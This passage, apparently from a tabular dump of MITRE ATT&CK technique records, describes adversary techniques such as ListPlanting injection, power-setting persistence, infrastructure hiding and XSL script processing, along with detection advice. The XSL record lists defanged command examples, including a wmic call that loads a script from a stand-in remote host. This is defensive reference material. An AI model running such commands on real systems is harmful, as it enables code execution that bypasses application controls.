"url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be"
},
{
"description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.",
"external_id": null,
"source_name": "BH Linux Inject",
"url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf"
},
{
"description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
"external_id": null,
"source_name": "ArtOfMemoryForensics",
"url": null
},
{
"description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
"external_id": null,
"source_name": "GNU Acct",
"url": "https://www.gnu.org/software/acct/"
},
{
"description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
"external_id": null,
"source_name": "RHEL auditd",
"url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
},
{
"description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
"external_id": null,
"source_name": "Chokepoint preload rootkits",
"url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux"
] | 1.1 |
attack-pattern | attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-06-05T15:52:52.467000Z" | "2023-09-30T21:28:45.038000Z" | Power Settings | Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)
Adversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)
For example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)
Aware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1653",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1653"
},
{
"description": "AVG. (n.d.). Should You Shut Down, Sleep or Hibernate Your PC or Mac Laptop?. Retrieved June 8, 2023.",
"external_id": null,
"source_name": "Sleep, shut down, hibernate",
"url": "https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop"
},
{
"description": "Avira. (2019, November 28). CoinLoader: A Sophisticated Malware Loader Campaign. Retrieved June 5, 2023.",
"external_id": null,
"source_name": "CoinLoader: A Sophisticated Malware Loader Campaign",
"url": "https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign"
},
{
"description": "Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November 14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.",
"external_id": null,
"source_name": "BATLOADER: The Evasive Downloader Malware",
"url": "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html"
},
{
"description": "Douglas Bonderud. (2018, September 17). Two New Monero Malware Attacks Target Windows and Android Users. Retrieved June 5, 2023.",
"external_id": null,
"source_name": "Two New Monero Malware Attacks Target Windows and Android Users",
"url": "https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/"
},
{
"description": "Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads via TP-Link's CVE-2023-1389. Retrieved September 5, 2023.",
"external_id": null,
"source_name": "Condi-Botnet-binaries",
"url": "https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389"
},
{
"description": "Man7. (n.d.). systemd-sleep.conf(5) — Linux manual page. Retrieved June 7, 2023.",
"external_id": null,
"source_name": "systemdsleep Linux",
"url": "https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html"
},
{
"description": "Microsoft. (2021, December 15). Powercfg command-line options. Retrieved June 5, 2023.",
"external_id": null,
"source_name": "Microsoft: Powercfg command-line options",
"url": "https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment.
| [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS",
"Network"
] | 1.0 |
attack-pattern | attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-08-22T20:42:08.498000Z" | "2022-08-23T18:32:46.899000Z" | Dynamic API Resolution | Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.
API functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)
To avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.
Various methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1027.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/007"
},
{
"description": "Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022.",
"external_id": null,
"source_name": "Huntress API Hash",
"url": "https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection"
},
{
"description": "Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022.",
"external_id": null,
"source_name": "BlackHat API Packers",
"url": "https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf"
},
{
"description": "drakonia. (2022, August 10). HInvoke and avoiding PInvoke. Retrieved August 22, 2022.",
"external_id": null,
"source_name": "Drakonia HInvoke",
"url": "https://dr4k0nia.github.io/dotnet/coding/2022/08/10/HInvoke-and-avoiding-PInvoke.html?s=03"
},
{
"description": "spotheplanet. (n.d.). Windows API Hashing in Malware. Retrieved August 22, 2022.",
"external_id": null,
"source_name": "IRED API Hashing",
"url": "https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
|
attack-pattern | attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:23:26.059000Z" | "2023-08-07T14:23:30.265000Z" | Remote Desktop Protocol | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
] | false | [
{
"description": null,
"external_id": "T1021.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1021/001"
},
{
"description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
"external_id": null,
"source_name": "Alperovitch Malware",
"url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/"
},
{
"description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
"external_id": null,
"source_name": "TechNet Remote Desktop Services",
"url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-10T03:43:37.211000Z" | "2020-03-24T23:45:03.153000Z" | Logon Script (Windows) | Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\Environment\UserInitMprLogonScript</code> Registry key.(Citation: Hexacorn Logon Scripts)
Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1037.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1037/001"
},
{
"description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.",
"external_id": null,
"source_name": "TechNet Logon Scripts",
"url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx"
},
{
"description": "Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part 18. Retrieved November 15, 2019.",
"external_id": null,
"source_name": "Hexacorn Logon Scripts",
"url": "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for changes to Registry values associated with Windows logon scrips, nameley <code>HKCU\Environment\UserInitMprLogonScript</code>.
Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-11-22T15:02:15.190000Z" | "2022-03-08T20:59:20.762000Z" | ListPlanting | Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.
List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.
ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.
Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)
Finally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1055.015",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/015"
},
{
"description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022.",
"external_id": null,
"source_name": "Microsoft List View Controls",
"url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview"
},
{
"description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.",
"external_id": null,
"source_name": "Modexp Windows Process Injection",
"url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/"
},
{
"description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
"external_id": null,
"source_name": "ESET InvisiMole June 2020",
"url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>FindWindow</code>, <code>FindWindowEx</code>, <code>EnumWindows</code>, <code>EnumChildWindows</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be abused for this technique.
Consider monitoring for excessive use of <code>SendMessage</code> and/or <code>PostMessage</code> API functions with <code>LVM_SETITEMPOSITION</code> and/or <code>LVM_GETITEMPOSITION</code> arguments.
Analyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--eb897572-8979-4242-a089-56f294f4c91d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2024-02-13T17:00:00.175000Z" | "2024-04-18T19:44:00.603000Z" | Hide Infrastructure | Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.
C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)
Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite)
Hiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1665",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1665"
},
{
"description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.",
"external_id": null,
"source_name": "SocGholish-update",
"url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"
},
{
"description": "Axel F, Selena Larson. (2023, October 30). TA571 Delivers IcedID Forked Loader. Retrieved February 13, 2024.",
"external_id": null,
"source_name": "TA571",
"url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader"
},
{
"description": "Bluescreenofjeff.com. (2015, April 12). Combatting Incident Responders with Apache mod_rewrite. Retrieved February 13, 2024.",
"external_id": null,
"source_name": "mod_rewrite",
"url": "https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/"
},
{
"description": "Dusty Miller. (2023, October 17). Are You Sure Your Browser is Up to Date? The Current Landscape of Fake Browser Updates . Retrieved February 13, 2024.",
"external_id": null,
"source_name": "Browser-updates",
"url": "https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates"
},
{
"description": "Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.",
"external_id": null,
"source_name": "StarBlizzard",
"url": "https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"
},
{
"description": "Nathaniel Raymond. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved February 13, 2024.",
"external_id": null,
"source_name": "QR-cofense",
"url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"
},
{
"description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved February 13, 2024.",
"external_id": null,
"source_name": "Schema-abuse",
"url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
},
{
"description": "Orange Cyberdefense. (2024, March 14). Unveiling the depths of residential proxies providers. Retrieved April 11, 2024.",
"external_id": null,
"source_name": "Orange Residential Proxies",
"url": "https://www.orangecyberdefense.com/global/blog/research/residential-proxies"
},
{
"description": "Spyboy. (2023). Facad1ng. Retrieved February 13, 2024.",
"external_id": null,
"source_name": "Facad1ng",
"url": "https://github.com/spyboy-productions/Facad1ng"
},
{
"description": "Sysdig. (2023). Sysdig Global Cloud Threat Report. Retrieved March 1, 2024.",
"external_id": null,
"source_name": "sysdig",
"url": "https://sysdig.com/content/c/pf-2023-global-cloud-threat-report?x=u_WFRi&xs=524303#page=1"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS",
"Windows",
"Linux",
"Network"
] | 1.0 |
|
attack-pattern | attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-03-07T14:10:32.650000Z" | "2024-04-19T04:27:31.884000Z" | Domain or Tenant Policy Modification | Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.
Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.
With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:
* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)
* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)
* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).
* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)
Adversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1484",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1484"
},
{
"description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.",
"external_id": null,
"source_name": "CISA SolarWinds Cloud Detection",
"url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a"
},
{
"description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
"external_id": null,
"source_name": "ADSecurity GPO Persistence 2016",
"url": "https://adsecurity.org/?p=2716"
},
{
"description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.",
"external_id": null,
"source_name": "Microsoft 365 Defender Solorigate",
"url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"
},
{
"description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.",
"external_id": null,
"source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
"url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"
},
{
"description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.",
"external_id": null,
"source_name": "Microsoft - Update or Repair Federated domain",
"url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"
},
{
"description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.",
"external_id": null,
"source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
"url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
},
{
"description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.",
"external_id": null,
"source_name": "Okta Cross-Tenant Impersonation 2023",
"url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"
},
{
"description": "Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.",
"external_id": null,
"source_name": "Wald0 Guide to GPOs",
"url": "https://wald0.com/?p=179"
},
{
"description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.",
"external_id": null,
"source_name": "Harmj0y Abusing GPO Permissions",
"url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/"
},
{
"description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.",
"external_id": null,
"source_name": "Sygnia Golden SAML",
"url": "https://www.sygnia.co/golden-saml-advisory"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)
Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Azure AD",
"SaaS"
] | 3.0 |
attack-pattern | attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2018-10-17T00:14:20.652000Z" | "2022-05-05T05:04:14.238000Z" | XSL Script Processing | Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* <code>msxsl.exe customers[.]xml script[.]xsl</code>
* <code>msxsl.exe script[.]xsl script[.]xsl</code>
* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
* Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code> | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1220",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1220"
},
{
"description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.",
"external_id": null,
"source_name": "Reaqta MSXSL Spearphishing MAR 2018",
"url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/"
},
{
"description": "Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.",
"external_id": null,
"source_name": "Twitter SquiblyTwo Detection APR 2018",
"url": "https://twitter.com/dez_/status/986614411711442944"
},
{
"description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.",
"external_id": null,
"source_name": "LOLBAS Wmic",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/"
},
{
"description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.",
"external_id": null,
